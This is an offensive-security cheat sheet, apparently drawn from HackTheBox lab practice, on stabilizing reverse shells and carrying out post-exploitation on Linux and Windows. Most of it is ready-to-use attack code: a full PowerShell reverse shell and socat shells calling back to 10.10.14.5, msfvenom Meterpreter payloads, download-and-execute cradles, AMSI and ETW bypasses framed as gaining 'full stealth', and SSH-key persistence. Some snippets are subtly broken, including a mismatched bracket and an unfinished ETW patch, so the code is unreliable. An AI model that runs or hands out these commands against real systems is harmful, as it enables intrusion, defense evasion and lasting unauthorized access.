Shell Upgrade and Stabilization
#Overview
Reverse shells caught via netcat are fragile. Ctrl-C kills them. No tab completion. No arrow key history. No interactive programs (sudo, vim, SSH). Stabilizing the shell is the first post-exploitation action to take. A fully interactive TTY allows tab completion, arrow keys, job control, and running interactive programs like vim, sudo, ssh, and mysql.
#Prerequisites
- A reverse shell or bind shell connection (netcat, socat, or payload-based)
- Access to target's Python, socat, or rlwrap (or ability to upload them)
- Attacker machine with netcat/socat listener
#Detection & Enumeration
A shell is unstable if: Ctrl-C kills the connection, tab completion does not work, arrow keys produce escape codes (^[[A), programs like sudo or vim fail with "not in a terminal", backgrounding with Ctrl-Z fails. The tty command will return "not a tty" on an unstable shell.
#Exploitation / Execution
#Linux: Python TTY Spawn
The classic one-liner. Works on almost any modern Linux with Python installed:
python3 -c 'import pty; pty.spawn("/bin/bash")' # Spawn a pseudo-terminal bash
# If python3 is missing:
python -c 'import pty; pty.spawn("/bin/bash")' # Python 2 fallback
#Linux: Full TTY with Terminal Control
After spawning a pty, background the shell and configure the local terminal:
# In the reverse shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background
# In your local terminal:
stty raw -echo; fg # Put terminal in raw mode and foreground the shell
# Press Enter twice
# Now inside the shell:
export TERM=xterm # Set terminal type for colors and TUI programs
# Get your local terminal size:
# On your attack box: stty size (output like "51 235")
stty rows 51 columns 235 # Set rows/cols to match your terminal window
#Linux: Using rlwrap for History and Arrow Keys
If Python is unavailable but rlwrap is on the attacker machine:
rlwrap nc -lvnp 4444 # rlwrap provides readline functionality on the listener
# Then catch the shell normally. Arrow keys and history will work.
#Linux: socat for Stable Shell
If socat is available on the target:
# On attack box:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# On target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444
#Linux: SSH Persistence for Stable Access
Add your public key to ~/.ssh/authorized_keys for persistent, fully interactive SSH access:
echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Then SSH in directly:
ssh user@target.htb
#Linux: script-based TTY (when Python/socat unavailable)
script /dev/null -c bash # Creates a pty using script utility
# Then Ctrl+Z, stty raw -echo; fg, Enter x2
#MSFvenom Stagers for Meterpreter
For a more robust agent with built-in shell upgrade, file upload/download, and pivoting:
# Linux reverse shell:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=10002 -f elf -o shell
# Windows reverse shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=10002 -f exe -o shell.exe
# In msfconsole:
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 10002
run -j
#Windows: PowerShell Execution Policy Bypass
# Bypass execution policy:
powershell -ExecutionPolicy Bypass -Command "..."
powershell -ep bypass -c "..."
# Common download cradle:
powershell -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/shell.ps1')"
# One-liner reverse shell (Nishang):
powershell -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/Invoke-PowerShellTcpOneLine.ps1')"
#Windows: AMSI Bypass Techniques
AMSI (Antimalware Scan Interface) can block PowerShell scripts:
# Method 1: String obfuscation
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Method 2: Force AMSI to fail
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'];$h='amsiInitFailed';$a.GetField($h,'NonPublic,Static').SetValue($null,$true)
# Method 3: PowerShell downgrade
powershell -version 2 -c "..." # PowerShell v2 does not support AMSI
#Windows: PowerShell Reverse Shell (Full)
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
#Windows: Run PowerShell in Background
From a cmd.exe shell, use START /B to avoid locking the current session:
START /B "" powershell -c "IEX (New-Object Net.WebClient).downloadstring('http://10.10.14.5/shell.ps1')"
#ConPtyShell (Windows ConPTY)
Modern Windows (10 1809+) supports ConPTY for a fully interactive terminal experience:
# ConPtyShell — Modern Windows fully interactive shell (Win10 1809+)
# Step 1: On attacker, get terminal size and start listener
stty size # Note rows/cols for later
stty raw -echo; (stty size; cat) | nc -lvnp 4444
# Step 2: On target Windows system
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell 10.10.14.5 4444
# Step 3: On attacker, after connection: Ctrl+Z, then:
stty raw -echo; fg
# Reset terminal rows/cols if needed:
stty rows 38 cols 116
#pwncat-cs (Modern Linux Shell Management)
# pwncat-cs — Modern Linux shell management with auto-stabilization
pip install pwncat-cs
pwncat-cs -lp 4444 # Listener with auto-stabilization
# Features: auto-upgrade shells, session management, built-in enumeration, file upload/download
# After connection: use 'help' for built-in commands, 'upload'/'download' for file transfer
#AMSI Bypass + Download Cradle Combined Workflow
The #1 professional workflow for Windows targets — bypass Defender, then execute:
# AMSI bypass + download cradle — the #1 professional workflow for Windows targets
# Step 1: Disable AMSI (Anti-Malware Scan Interface) to avoid Defender detection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Step 2: Download and execute tool
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')
# Alternative: AMSI bypass via memory patching (more reliable across PS versions)
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'); $f=$a.GetField('amsiInitFailed','NonPublic,Static'); $f.SetValue($null,$true)
# OPSEC: AMSI bypass generates Event ID 4104 if script block logging is enabled
# Consider: Combine with ETW patching for full stealth
#ETW Patching
Disable telemetry before offensive operations to reduce logging footprint:
# ETW (Event Tracing for Windows) patching — disable telemetry before offensive operations
# Method 1: Patch EtwEventWrite in current process
$ptr=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress ntdll.dll EtwEventWrite),([System.Func[int]))
# Method 2: Ntdll EtwEventWrite patch (via C# inline)
# Most C2 frameworks (Cobalt Strike, Havoc, Sliver) patch ETW automatically
# Without C2, use PowerShell:
$code='[DllImport("ntdll.dll")]public static extern uint EtwEventWrite(IntPtr a,byte[] b);'
$ntdll=Add-Type -MemberDefinition $code -Name 'etw' -Namespace 'win' -PassThru
# Patch the function to return 0 (no-op)
#PowerShell Constrained Language Mode (CLM)
Common in AppLocker environments — detect and bypass:
# CLM detection and bypass — common in AppLocker environments
# Check current language mode:
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = unrestricted | ConstrainedLanguage = AppLocker/Device Guard enforced | NoLanguage = locked down
# Bypass methods:
# 1. PowerShell v2 downgrade (if v2 installed):
powershell -version 2
# 2. Use PowerShell Core (pwsh) if available — bypasses Windows PowerShell CLM
pwsh
# 3. Use C# tools instead (SharpView, Seatbelt, Rubeus) — not subject to CLM
# 4. InstallUtil.exe LOLBIN bypass for executing managed code
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U payload.exe
#Additional OPSEC Notes
- Event ID 4688: Process creation logging — triggered when new processes are spawned (e.g.,
powershell.exe,cmd.exe) - Event ID 4104: PowerShell script block logging — captures full script content when executed, including AMSI bypass attempts
#Common Pitfalls
- Shell dies on Ctrl-C: Always run
stty raw -echo; fgbefore using the shell interactively. - No tab completion: The shell needs a TTY with TERM set. Use the full Python + stty workflow.
- Arrow keys produce
^[[A: The terminal is not in raw mode. Background with Ctrl+Z and runstty raw -echo. - sudo fails with "no tty present": The shell is not a proper TTY. Spawn with pty.spawn() and set TERM=xterm.
- Python not installed: Fall back to
script /dev/null -c bashor check for perl/ruby/lua as alternatives. - SSH from inside unstable shell: Use SSH with
-Tflag if forced:ssh -T user@host.
#OPSEC Considerations
- rlwrap, socat, and msfvenom are standard attacker tools -- use them from your own machine when possible.
- Uploading socat/msfvenom payloads to target disk leaves forensic artifacts in temp directories.
- SSH persistence via authorized_keys is stealthy but the key can be found with
find / -name authorized_keys. - Meterpreter sessions may be detected by AV/EDR; consider process injection or staged payloads.
#Post-Exploitation Value
A stable shell enables: interactive sudo for privilege escalation, credential dumping tools that require TTY, SSH into adjacent systems, running text editors for config modification, persistent backdoor access via SSH keys. The quality of a stabilized shell directly determines the success of subsequent post-exploitation phases.
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| rlwrap | apt install rlwrap |
| socat | apt install socat |
| Nishang | https://github.com/samratashok/nishang |
| PowerCat | https://github.com/besimorhino/powercat |
#Source Machines
- Cerberus (Hard, Linux) - Python TTY upgrade after catching shell
- Help (Easy, Linux) - Python pty.spawn('/bin/bash') after reverse shell
- Sau (Easy, Linux) - script /dev/null -c bash + stty raw -echo; fg workflow
- Access (Easy, Windows) - PowerShell TCP reverse shell, START /B for background